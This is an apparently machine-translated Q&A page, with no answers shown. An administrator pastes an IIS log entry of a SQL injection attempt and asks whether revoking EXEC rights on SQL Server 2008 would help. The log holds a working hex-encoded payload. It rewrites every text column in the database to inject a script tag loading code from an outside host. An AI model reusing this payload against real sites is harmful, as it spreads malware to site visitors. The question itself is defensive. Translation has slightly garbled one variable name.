拒绝访问SQL Server 2008中的exec

时间:2011-12-07 16:29:07

标签: sql-server-2008 exec sql-injection

其中一名试图攻击IIS / SQL Server站点的黑客正在使用exec命令进行一些sql注入。

以下是他提交给网站的查询,我可以在IIS日志中看到

  

/detailspage.asp?subscriptionID=7889%29+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d 20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 + AS + VARCHAR%284000%29%29 + EXEC%28%40年代%29-- | 733 | 80040E14 | Incorrect_syntax_near_ ')'。   80 - 173.212.213.36 Mozilla / 4.0 +(兼容; + MSIE + 7.0; + Windows + NT + 6.0)    - - 500 0 0

除了我正在做的其他事情之外,如果可能的话,我还想拒绝ms sql用户访问exec。

所以这是我的问题

  1. 这是个好主意吗?
  2. 有可能吗?如果是的话,如果没有原因?
  3. 它还有什么其他后果?例如它是否会阻止其他任何事情?
  4. 感谢。

0 个答案:

没有答案